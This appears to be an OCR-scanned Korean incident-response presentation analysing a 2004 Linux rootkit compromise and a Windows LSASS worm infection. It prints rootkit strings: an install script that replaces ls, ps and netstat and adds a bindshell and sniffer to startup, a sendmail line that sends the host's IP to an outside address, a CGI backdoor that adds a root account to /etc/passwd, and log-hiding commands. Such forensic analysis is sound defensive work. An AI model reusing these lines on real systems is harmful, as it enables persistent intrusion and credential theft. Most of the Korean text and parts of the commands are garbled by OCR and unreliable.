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8°F ¥ 34

Q JA2 Y

* Unix AL $H2 22 99 I (9 92 FYo 235 A
Fropusbs o] dbgeld] =g dAHoE 2o fd Y3 M Es
o, AF ¥ B2 53 54¥s A e 45 HE 54
T e Eads Y. HdeoE g9 ¥E 343 A d¥gez
rootkite] w@e] ¥ =% /dev m¥ xAEF 53 rootkit$ Ztelo} ui<l
34 3% rootkit }d ¥HT FHE AL ¥ AW P

©
aos

(
afo

i

O %3] I}y 3Y
— 2 sshd H P THL= A E\’-.M] A} ez 2353
- B3I A el A3} —i'r—*v 2 A2 B3)5
— 2002/6/8 )R ) - ’#ﬂ]i P&} A3} gt o)
O 23 34 33
— rootkit(ls, ps, netstat) ¥ W Eo] g5 43
— 1s, ps, netstat A3 A 223 PR E-9L=2 Pg
— CGI Gateway W E°] 43 P Az L2202 Wxo] ¥
- Ssh 3 2= ¥
Q 24 g3 H29= 53 % Crack 2228 5 U3
O F8 22 ¥ g5 A4 3

(lo 1?

Q H42=(9) ¥4
O 23 DNSHYH ZE o5 #}°] Z DNS ¥ A9 (in-addr.arpa) * =
Q =7 2}o]) 2(211.241.82.124)°) “MS04-011 LSASS 3 <+ (TCP/ 445)”
A2
Q £ 2}°) E(consult.skinfosec.co.kr) 9] TCP/80 T EE o]-£3}°] DoS
=3
P2PE 2 22 kazaad] 51 H¥Y EF | #}

A5 FA)
system & & £2) 9] winsystemm.exe T} )

(ON©,

=X
s
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24 1 QA2 34

3492 3493
O %3] A} ¥4
— %3 sshd A HH T3 =232 Y
- B3I A el A3} —i'r—*, ’#ﬂli e e
— 2002/6/8 °) A A<} - é}ﬂli &3
O Ax=3 34 33}
— rootkit(ls, ps, netstat) ¥ W X0 o5 A3
— 1s, ps, netstat A3 * A 238 A E-wId=2 A
CGI Gateway W =] A% % Az} Z 2o wW5o] w3
- Ssh 3 2= ¥
Q 24 g3 H29= 53 2L Crack T2y & I3
O F8 22 39 g5 A4 3

(lo hr

* Unix WAL ML 22 P9 343 59 9z 24
Fopdol: o] YHo>] 4 F) YAHoE 22 9
o, W% $F 22 5L 398 2AYA) Qgod I3
g oY 2ohg WA} Fgo Hd Wz 3HF Y Ywgoz
rootkite] we) 4 =< /dev ¥ ZAE E3 rootkitgs Zelhe
A 29} rootkit B FHS FH2E FHANL ¥ VY F

QA% 3y

B rootkit 4 1Y =>) - /dev 9 rootkit ¥A IY ¢H
bash-2.05b# find . -type f -print

. /MAKEDEV

drwxr-xr-x 2 root root 4096 Jun 8 18:11 .
drwxr-xr-x 19 root root 86016 Jun 8 18:11 ..
-rw-r--r-- 1 root root 50 Jun 8 18:11 .addr
-rw-r--r-- 1 root root 38 Jun 8 18:11 .file
-rw-r--r-- 1 root root 32 Jun 8 18:11 .proc

B rootkit ¥ B FY -> rootkit ¥ X5 N3
bash-2.05b# more .addr
2 192.168.131.136



1 192.168.131.136

3 2222

4 2222

bash-2.05b# more .file
sniffer

bindshell

rootkit

.snifflogsk
bash-2.05b# more .proc
2 cgiback.cgi

2 bshell

2 srload

B rootkit ¥* I%F FA22 YA gd x4}

- (¥330] JA =+ HYd/gY 58 F)

bash-2.05b# 1s -alsgR /mnt |grep "Jun 8 18" |grep " .." |awk '{print $9}' |[while read
X :do

find /mnt -name $x -1s :done

63873 88 drwxr-xr-x 19 0 root 86016 Jun 8 18:11 /mnt/dev
15970 4 drwxr-x-— 20 root 4096 Jun 8 18:11 /mnt/root
16259 4 drwxr-xr-x 3 0 root 4096 Jun 8 18:08 /mnt/sbin
80373 4 drwxr-xr-x 2 0 root 4096 Aug 1 2002 /mnt/sbin/sbin
1709 4 drwxr-xr-x 2 0 root 4096 Jun 8 18:11 /mnt/dev/ptyxx
1712 4 -rw-r--r—— 10 root 50 Jun 8 18:11 /mnt/dev/ptyxx/.addr
1710 4 -rw-r--r—— 10 root 38 Jun 8 18:11 /mnt/dev/ptyxx/.file
1711 4 -rw-r--r—— 10 root 32 Jun 8 18:11 /mnt/dev/ptyxx/.proc
52566 32 -rw-rw-r—— 10 root 32768 Jun 8 18:09 /mnt/etc/psdevtab
70641 24 -rwxr-xr-x 10 root 22414 Jun 8 18:08 /mnt/etc/rc.d/rc.sysinit
51463 0 lrwxrwxrwx 10 root 15 Jun 8 01:47 /mnt/etc/rc.sysinit ->

rc.d/rc.sysinit

19449 0 lrwxrwxrwx 10 root 9 Jun 8 18:11 /mnt/root/.bash_history -
> /dev/null
84165 4 -rw-r--r—— 10 root 1 Jun 8 18:08 /mnt/usr/lib/.ark?

1689 4 drwxr-xr-x 20 root 4096 Jun 8 18:11
/mnt/usr/1ib/1librk/rootkit

1702 32 -rw-r—r— 10 root 302 Jun 8 18:11



/mnt/usr/1ib/1librk/rootkit/.snifflogsk

1513 4 drwxr-xr-x 20 root 4096 Jun 8 18:11 /mnt/var/log/httpd
1512 4 drwxr-xr-x 2 48 root 4096 Apr 10 2002 /mnt/var/cache/httpd
20858 0 -rw-r——r— 10 root 0 Jun 8 00:49

/mnt/var/lock/subsys/httpd
71058 4 -rwxr-xr-x 10 root 2188 Apr 10 2002
/mt/etc/rc.d/init.d/httpd

1515 4 drwxr-xr-x 20 root 4096 Jun 8 18:08 /mnt/var/www/cgi-bin

52489 4 drwxr-xr-x 20 root 4096 Jun 7 17:58
/mnt/usr/share/doc/apache-1.3.23/cgi-bin

1701 8 -rwsr—xr-x 10 root 8092 Jun 8 18:08 /mnt/var/www/cgi-
bin/cgiback.cgi

1697 8 -rwxr—xr-x 10 root 8092 Jul 31 2002
/mnt/usr/1ib/1librk/rootkit/cgiback.cgi

M rootkit ¥4 > 2JH 9L Rootkite®) /usr/lib/librk o] A5 A
bash-2.05b# find / -name sniffer -print

/unt/usr/1ib/librk/rootkit/sniffer

bash-2.05b# cd /mnt/usr/lib/librk

bash-2.05b# 1s

rootkit rootkit.tar

bash-2.05b# 1s -al

total 1400

drwxr-xr-x 2 root root 4096 Jun 8 18:11 .
drwxr-xr-x 3 root root 4096 Jun 8 01:48 ..
-rw-r--r-- 1 root root 302 Jun 8 18:11 .snifflogsk
—~LWXI-Xr—X 1 root root 15380 Jul 31 2002 bindshell
—IWXL-Xr-X 1 root root 8092 Jul 31 2002 cgiback.cgi
—L'WXI-XI—X 1 root root 603 Jul 31 2002 hideit
—L'WXI-XI-X 1 root root 352 Jul 31 2002 install
—IWXC-Xr-X 1 root root 9368 Jul 31 2002 logclean
—LWXI-Xr—X 1 root root 184023 Jul 31 2002 1s
—IWXI-Xr-X 1 root root 258612 Jul 31 2002 netstat
—LWXI-XI—X 1 root root 47388 Jul 31 2002 ps
—LWXI-XI—X 1 root root 6872 Jul 31 2002 sniffer



-rWXr-Xr-x 1 root root 11028 Jul 31 2002 targets
-rWXr-Xr-x 1 root root 817052 Jul 31 2002 x3

W Rootkit install 43 s} 34
bash-2.05b# strings install

#! /bin/sh

chown -R root ./*

cp -f ./1s /bin/1s

cp -f ./ps /bin/ps

cp -f ./netstat /bin/netstat

cp -f ./bindshell /sbin/bshell

cp -f ./sniffer /sbin/srload

cp -f ./cgiback.cgi /var/www/cgi-bin/

echo "/sbin/bshell" >> /etc/rc.d/rc.sysinit
echo "/sbin/srload" >> /etc/rc.d/rc.sysinit
chmod uts /var/www/cgi-bin/cgiback.cgi
/sbin/bshell

/sbin/srload

B Rootkit Binary #¥¢ 34
> x3 1} - SSHD deattack exploit.
bash-2.05b# strings x3
Usage: sshd-exploit -t# <options> host [port]
Options:
-t nun (mandatory) defines target, use O for target list
-X string skips certain stages
SSHD deattack exploit. By Dvorak with Code from teso (http://www.team-teso.net)

> bindshell 3} - shell 2223
bash-2.05b# strings bindshell
__gmon_start__

GLIBC_2.0

PTRh

QVh

(nfsiod)

/bin/sh


http://www.team-teso.net/

> Sniffer %}
bash-2.05b# strings sniffer
/1ib/1d-1inux.s0.2
libc.so.6

strcpy

__libc_start_main

setsid

cant get SOCK_PACKET socket
cant get flags

cant set promiscuous mode
/dev/null

eth0

.snifflogsk

cant open log

> snifferlog &} 38 - 2y 22 u}g
bash-2.05b# more .snifflogsk

Time: Tue Jun 8 18:10:06 Size: 153
Path: 192.168.131.1 => 192.168.131.136 [23]

#'lotus
testl23

su -
testl23

1s
pwd
tar -xvf root
cd root

1s
logcelean
./logclean

ifconfig -a



> 1s 54 - 1s rootkite @ A A A28 Ip JRE wY L%
bash-2.05b# strings 1s

%s (%s) %s

/dev/ptyxx/.file

capi0.20

.ark?

ptyxx

/usr/1ib/ .ark?

echo "SUBJECT: “/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
-e 's/.*://'"" | /usr/lib/sendmail tuiqoitu039t09g3@bigfoot.com

> ps #}% - ps rootkit> @ Ay A A2 IP JuE WL TF

bash-2.05b# strings ps

/usr/1ib/ .ark?

echo "SUBJECT: °/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed-e
's/.*://'""" | /usr/lib/sendmail tuiqgoitu039t09q3@bigfoot.com

echo "SUBJECT: “/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed

> netstat % - netstat rootkit2 @ A% ) A x%) IP JREF #d L%
bash-2.05b# strings netstat

/usr/1ib/ .ark?

echo "SUBJECT: “/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
-e 's/.*://'"" | /usr/lib/sendmail tuigoitu039t09g3@bigfoot.com

> cgiback.cgi % - CGI SuperUser Gateway

bash-2.05b# strings cgiback.cgi

/var/log/httpd

/var/log/httpd/access_log

awk 'S0 !~ /%s/ { print }' %s > %s/access_new

/bin/mv -f %s/access_new %s; /bin/rm -f %s/access_new

<TITLE>CGI SuperUser Gateway by Mos Tarac &i#60:mostar@hotmail.comé&#62;</TITLE>
SCRIPT_NAME



<FORM ACTION=%s METHOD=POST>
<SELECT NAME=STRCMD>
<0PTION>execute command:
<0PTION>create new root account
<0PTION>list all processes
</SELECT>

echo 'syscall:%s:0:0::/root:/bin/bash' >> /etc/passwd
New Root Account failed!

New root account created as user: syscall : with your rootkit password !!

> hideit 3}¥ - Y P JA =Y, N2, VEH2 29 ¥4 T2
bash-2.05b# strings hideit

#!/bin/sh

mkdir /dev/ptyxx

echo "--+ hiding files & directories +—-"

echo sniffer > /dev/ptyxx/.file

echo "2 192.168.131.136" > /dev/ptyxx/.addr
echo "1 192.168.131.136" >> /dev/ptyxx/.addr
echo "3 222" >> /dev/ptyxx/.addr

echo "4 2222" >> /dev/ptyxx/.addr

rm -f /root/.bash_history

In -s /dev/null /root/.bash_history
bash-2.05b#

B /etc/rc.d/rc.sysinit A 28 )z} g 3
[> /sbin/bshell #}% - bind shell 22 2.2
bash-2.05b# strings /mnt/sbin/bshell [more
/1ib/1d-1inux.so0.2

libc.so.6

getpid

execl

dup?

QVh



(nfsiod)
/bin/sh

> /sbin/srload B¢ - 23 Z 2o
bash-2.05b# strings /mnt/sbin/srload /more

cant get SOCK_PACKET socket
cant get flags

cant set promiscuous mode
/dev/null

eth0

.snifflogsk

cant open log

W o)zl 2228 34 - H2HYE Crack AH9 #Y 9 Lib
bash-2.05b# 1s -al crack*

-rw-r--r-- 10 root 1024 Jul 31 2002 cracklib_dict.hwm
-rw-r--r-- 10 root 828567 Jul 31 2002 cracklib_dict.pwd
-rw-r--r-- 10 root 42116 Jul 31 2002 cracklib_dict.pwi

H 22 99 34 23

> /mnt/var/log/messages |4 srload 2Y¥H T 228 J3E 2o 33
Jun 8 18:08:40 www kernel: srload uses obsolete (PF_INET,SOCK_PACKET)
Jun 8 18:08:40 www kernel: ethO: Promiscuous mode enabled.

Jun 8 18:08:40 www kernel: device ethO entered promiscuous mode

> /mnt/var/log/maillog °)4 rootkite] A# #] ¥ Y% 22 34
Jun 8 18:08:45 www sendmail[R233]: 158983j61002233: to=tuiqoitu039t09q3@bigfoot.com,
ctladdr=root (0/0), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=30025,
relay=www.challenge.net. [203.251.80.133], dsn=5.1.3, stat=User unknown

> mailqueue®) 3o} 9l Bigfoot.comS 2 RV T THA odA R - LA
bash-2.05b# grep bigfoot =

df15898362002233: tuiqoitu039t09q3@bigfoot . com

df 1589836200233 : (expanded from: tuiqoitu039t09g3@bigfoot.com)



dfi58983j62002233:550 5.1.1 tuiqgoitu039t09q3@bigfoot.com... User unknown
dfi58983j62002233:Final-Recipient: RFC822: tuiqoitu039t09g3@bigfoot.com
dfi158983j62002233: for tuigoitu039t09q3@bigfoot.com: Tue, 8 Jun 2004 18:08:45
+0900

> 229 22 34 23
bash-2.05b# last —-f wtmp

jacob  pts/1 192.168.131.1  Tue Jun 8 00:48  gone - no logout
jacob  pts/0 192.168.131.1  Tue Jun 8 00:47  gone - no logout
reboot  system boot 2.4.18-4 Tue Jun 8 00:46 (8+15:17)
jacob  pts/0 192.168.131.1  Mon Jun 7 20:19 - down (00:05)
root ttyl Mon Jun 7 20:05 - down (00:18)
reboot  system boot 2.4.18-4 Mon Jun 7 20:01 (00:22)
jacob  pts/0 192.168.131.1  Mon Jun 7 17:22 - down  (00:24)
root ttyl Mon Jun 7 17:04 - down  (00:42)
reboot  system boot 2.4.18-4 Mon Jun 7 17:03 (00:43)

wtmp begins Mon Jun 7 17:03:21 2004



<A 2. P 2=(F) §2

Q34 53

O 23 DNSHY 2 o5 2}o] Z DNS ¥ 9 (in-addr.arpa) * =

O E742}o] 2(211.241.82.124)9)  “MS04-011 LSASS 3 2 (TCP/ 445)”
A 2

O Z7A#}o] E(consult.skinfosec.co.kr) 9 TCP/80 ZE-F °]-§3}°) DoS
3

O PRP222# kazaa® T HYEF AT 2}

O system ¥ ¥ 8| winsystemm.exe U J4

O3y 23
QO #8832} TCP/445 ACL #*}= = 8
O A= VYL FE3he) SPAo)E Dos T A P8

QA3 34
QO 23 DNSHW 2 o= 2}o] Z DNS ¥ A9 (in-addr.arpa) * &=

| Mo |Status | Source Addiess | Dest Address | Summary | Len (Butj Rel. Time

(g ] z11.5a.z21.1701 kns . kornet .net DHS: © OP=QUERY WAME=71.106.115.211.1in-addr.acpa =7 Groos
= kns . kornet .net [211.54.21.170] MNs: B QUERY STiT-Mame error MAME=71.196.115.211.4in 144 o-oo:
1= [211.54.21.170] kns.kornet.net DHNS: © P=QUERY MNAME=2Z00.156.54.211.1in—addr.arpa 87 [=Fy=T=1]
= kns.kornet.net [211.54.21.170] DHNS: R QUERY STAT=Mame error NAME=ZO00.186.54.211.1in[145 o:oo:
s [z11.54.21.170] kns.kornet .net pHs: © OP=QUERY NAME=S0.37.54.211.in-=ddr.arpa ss c:oos
s kns . kornet .net [211.54.21.170] MNs: B CP=—QUERY STAT-—Mome error MAME=S0.37.54.211.in-= 143 a
| [ [211.54.21.170] kns.kornet.net DHNS: © OP=QUERY NAME=226.93.54.211.in—addr.acpa 86 o
s kns.kornet.net [211.54.21.170] DHNS: R OP=QUERY STAT=-Meame error NAME=ZZ6.93.54.211.in- 144 o
s [211.54.21.170] Jns . kornet = OP=QUERY NAME=124.52.241.211.in-addr.arpa 0:00:
1o © € D NAME— 124 .82 .
| (=S [211.54.21.170] kns.kornet <
11z kns.kornet.net [211.54.21.170] DHNS: R Mame error NAME=73.132.54.211.1in— 144
1= [z11.54.21.170] kns.kornet .net DHE: © 200.55.54.211.1in-addr.arpa S
12 kns . kornet .net [211.54.21.170] MNs: B Meome error MAME=2Z00.S55.54.211.in-|144
[1a1s [211.54.21.170] kns.kornet.net DNS: © ID=482 OP=QUERY MNAME=106.25%.54.211.in-addr.sarpa Eid
<

i) -..0 .... = Unicast packet

= Cusstion count -1

5 Answer count o

9 Ruthoricy eount 1

5 Additionsl record count o

=

5 ZONE Section

= 124.82.241.211. in—addr.arp=a

& Dom=ain neme bointer (FTR.121
Doooo0O00: 0O =0 BE 47 00 =0 1= bS b2 ac 05 00 45 00 .722785 2. E.
ooooooio: oo S0 00 OO 12 11 =d 3= a5 Fe 3T 01 a3 35 .OF....777.7
DODODODZO: 15 == D4 DS D0 Sc 04 ba 01 Af S5 83 00 01 .25...1. .22.
Dooooos0: oo oo D0 Do 0% S1 S2 s34 02 38 Sz 03 32 54 ... ... 1z4.82.24
Dooooo4o: 5103 31 07 69 6= 2d 51 64 62 FZ 0% 61 72 1.211.in-addr.ac
DoODo0SOD: FOoS1 Oc DO D1 =0 13 00 06 00 Ol OO0 00 =5 Ba. - ... [ ——
DoooooeD: =0 0o f= 73 OS5 b 72 E= E2 63 O3 fe &5 74 2+.ns.kranic.net
Dooooo70: 0o o0& 64 61 50 6= o0 3= 77 54 bE 3k 00 00 . .dom=ain?wT2. .
00000080: 54 50 03 54 00 09 3= 80 00 00 a8 oo T ...?.:0..E8

% KRNIC(x.x.x.124) 2@ 9739



Status | Source Address | Dest Address | Summary | Len (Byf Rel Time
kns.kornet . net [211.5%.21.170] DNS: R ID-481 OF=QUERY STAT-Name error MAME=-200.55.54.211.in— 144 0:00:
[211.54.21.170] kns.kornet.nst DNS: < NAME=106.254.54.211.in-addr.srpa 87 0:00:
kns.kornet.net [211.54.21.170] DNZ: R FTAT=Meme error MNAME=106.254.54.211.1in 145 0:00:
[211.54.21.170] kns.kornet.net DHNS: © MAME=184.1.54.211.in-addr.arpa 8s 0:00:
kns.kornet.net [211.5%.21.170] DNS: E STAT=Name error NAME=154.1.54.211.1in-a 143 0:00:
[211.54.21.170] kns.kornet.nst DNS: < NAME=106.132.5%4.211.in-addr.arpa &7 0:00:
kns.kornet . net [211.54.21.170] DHS: R STAT=Meme error MAME=106.132.54.211.in 145 0:00:
[211.54.21.170] kns.kornet.net DNS: © OP=QUERY NAME=165.214.54.211.in-addr.arpa 87 0:01:
kns.kornet.net [211.54.21.170] DNS: E OP=QUERY STAT-Mame error MNAME=165.214.54.211.in 145 0:01:
[211.54.21.170] kns.kornet.net DMS: © MAME=177.45.54.211.in—addr.arpa 88 0:01:
kns.kornet.net [211.54.21.170] DNS: E STAT=Name error MAME=177.45.54.211.in— 144 0:01:
[211.54.21.170] kns.kornet.nst DHS: © NAME=consult.skinfosec.co.kr 83 o:o1:
kns.kornet.net [211.54.21.170] DNS: E OP=QUERY TAT=0OK NAME=consult.skinfosec.co.kr 129 0:01:
[211.54.21.170] kns.kornet.net DNS: © UERY NAME=51.215.96.210.in—addr.arpa 86 0:01:

>
L3 pNS: ...0 .... = Unicast packer
0y ows: Ouestion count 1
) DNS: Answer count o
) DNS: Authority count 1
1 pNS: Additional record count o
0 DNS:
J DHS: ZOME Section
& s Name = §1.215.96.210.in-addr.arpa
15 pus: Twwne = Domain name vpointer (PTR.121

00000000: 00 e0 00 ae b3 47 00
00000010: 00 8d £7 02 00 00 1la
Q00000z20: 15 == 00 35 04 05 00
00000030: 00 00 00 01 00 00 02
00000040: 03 32 31 30 07 69 6e

e0 1e b9 b2 ac 08 00 45 00
11 d8 fd &5 7e 3£ 01 d3 36
79 70 o3 01 =8 85 83 00 01
38 31 03 32 31 35 02 39 36

.81.215.96

2d 61 64 64 72 04 61 72 70 .210.in-addr.acp
=]

02 .9.nis.dacom.co.
6f kr..dnswaster.bo
00 ra.net..l1-2.T .

Q0000050: 61 00 00 Oc OO0 Ol o0 Of OO0 06 00 01 00 00 & o0 a...
00000060: OO0 35 03 &= 69 73 05 64 61 63 6f 6d 02 63 &F

00000070: 6k 72 00 09 64 6= 73 6d 61 73 74 65 72 04 62

00000080: 72 61 03 62 65 74 00 01 31 2Zd dl 00 00 54 &0

Q0o000050: 00 03 54 00 09 3a S0 00 00 a& cO -

Dacom(x.x.x.8l) 2.2 dA 9

W ariable Walue
Start capture tirne 2004-06-16 =71 11:18
Capture duration 0:06: 20678
Total butes Fi=rac]
Total packets =13
Loverage packet zize 11a
Euytes per second 19
Fackets per second o
Lowerage utilization ()=

Line spesd 10 Mbps
kAC broadcaszt packets | 0O

kAC multicast packets o

IF packets =13

IF bytes Fi=rac]

IF broadcast packets o

IFP multicast packets o

TCF packsts o

TCF bytes o

LDP packsts =13

LUDF bytes Fi=Tac]
ICHM P packets o

ICH P bytes o

IF> packets o

IF= bytes o

IF>< broadcast packets o

|F> miulticast packets o

v) e &

QO =4 2}o) E(211.241.82.124) 9

2

L] SISWorm.exe: 2946
[] SISwarm exe 2945
U] SISWorm.exe: 2948
] SISwWarm.exe: 2943
] SIswarm exe 2945

TCF
TCF
TCF
TCF
TCF

0.0.0.0:4017
0.0.0.0:2705
0.0.0.0:2707
0.0.0.0:2710

211.54.21.170:2710

“MS04-011 LSASS 3] k4 (TCP/445)”

0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
211.241.82.124:445

LISTEMIMNG
LISTEMIMNG
LISTEMIMNG
LISTEMIMNG
SYMN_SENT



Status | Souwrce Address

[Dest Addiess

[Summan

[Len (Evy Rel Time
o

: Mext

pected Seqg number

AR AE | N

2632580008
2632550005

B TCP: Data ofiset zs nytes
&) TCP: Reserved Bits: Reserwved

&) TCFP: Flags oz

B Ttcp [ = T

B roo -

(Mo urgent pointer)

or Future Use (Mot shown in the Hex Dump)

IR

1 E [211.54.21.170] [211.241.8z.124] TCP: D-445 S-2705 S¥N SEQ-2Z632580008 LEN-0 WIN-16354 =
1= [211.54.21.170] [211.241.8%.124] |TCF: D=445 Z=2705 SYN (Recransmission of Frame 1) SEQ=2632550|62 0:00:
1= [211.54.21.170] [211.241.82.124] |TCP: D=445 S-2705 SYN (Retransmission of Frames 1) SEQ-2632880/62 0:00:
= [211.54.21.170] [211.241.82.124] |TCP: D=445 S-2707 SYN SEQ-2638233223 LEN-0 WIN-16354 52 0:00:
s [211.54.21.1701 [211.241.82.124] |TSP: D=445 S=2707 SY¥YN (Retranswmission of Frame 4) SEQ-2635233) 62 0:o0:
s [211.54.21.1701 [211.241.82.124] |TcP: D=445 S=2707 S¥N (RetranSwission of Frame 4) SEQ-2635233 62 0:oo:
i [211.54.21.1701 [211.241.82.124] |TCP: D=445 S=2710 S¥YN SEQ=Z64%602Z115 LEN=0 WIN=16354 5z 0:00:
= [211.54.21.170] [211.241.8%2.124] |[TCF: D=445 S=2710 SYN (Recransmission of Frame 7) SEQ=264360Z 62 0:00:
1= [211.54.21.170] [211.241.82.124] |TCF: D=445 S=2710 S¥N (Retransmission of Frams 7) SEQ=2843602| 62 0:00:
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21 B4 2170:2775
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winsystemm=C:¥#windowsisystem32ilwinsystemm. exe

Mutex& A 3}0] Z2H 20  FI3ALY S WA,
- sync-v1.01__ipcmtx0

| LEN=0 WIN=1 0

: 235 [211.54.21.170)] consult.skinfosec, TCP: D=350 60 0:01
: 236 [211.54.21.170] consult.skinfosec, TCP: D=50 3=2714 3TN SEQ=Z649604683 LEN=0 WIN=16352 62 0:01
: 238 [211.54.21.170] consult.skinfosec, TCF: D=G0 5=2714 R3T WIN=0 [:n) 0:01
: 239 [211.54.21.170] consult.skinfosec, TCP: D=580 5=2715 3TN SEQ=Z649665176 LEN=0 WIN=16352 62 0:01
: 240 [211.54.21.170] consult.skinfosec, TCP: D=80 53=2716 5¥N SEQ=Z2649706254 LEN=0 WIN=15354 62 0:01
: 242 [211.54.21.170] consult.skinfosec, TCP: D=80 3=2715 R3T WIN=0D 60 0:01
: 244 [211.54.21.170] consult.skinfosec., TCP: D=80 53=2716 RST WIN=0 60 0:01
: 245 [211.54.21.170] consult.skKinfosec, TCP: D=80 5=2717 3TN SEQ=Z649755415 LEN=0 WIN=16353 62 0:01
: 247 [211.54.21.170] consult.skinfosec., TCP: D=80 5=2717 RST WIN=0 60 0:01
: 248 [211.54.21.170] consult.skinfosec, TCP: D=80 5=2718 3TN SEQ=Z649847505 LEN=0 WIN=16353 62 0:01
: 250 [211.54.21.170] consult.skinfosec., TCP: D=80 5=2718 RST WIN=0 60 0:01
: 251 [211.54.21.170] consult.skinfosec, TCP: D=80 5=2719 3TN SEQ=Z6498959283 LEN=0 WIN=16353 62 0:01
: 252 [211.54.21.170] consult.skinfosec, TCP: D=80 3=2720 35¥N SEQ=Z2649960175 LEN=0 WIN=15354 62 0:01
: 254 [211.54.21.170] consult.skinfosec, TCP: D=80 5=2712 R3T WIN=0D 60 0:01:
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& Tcr:

@TCP: FOource port = 2713

@ TCP: Destination port S 80 [WWW WWW-HTTE/ HTTP)

@TCP: Initigal seguence nuwber = 2643539299

@ TCP: Mext expected Seq number= 26493539300
00000000: 00 20 le b9 b2 ac 00 e0 00 ac b3 dY 08 00 45 00 .?Jé%????. E.
00000010: 00 30 69 bl 40 00 50 06 fe &3 d3 36 15 aa d2 60 .0i7.0.%7.00°
00000020: dv 51 Da 929 00 50 9d ec o2 e3 00 OO OO OO 70 02 7 .?P‘:{l%....p.
00000030: 40 OO0 44 d3 00 OO0 0OZ 04 05 b4 01 01 04 02 B.D?2....7...
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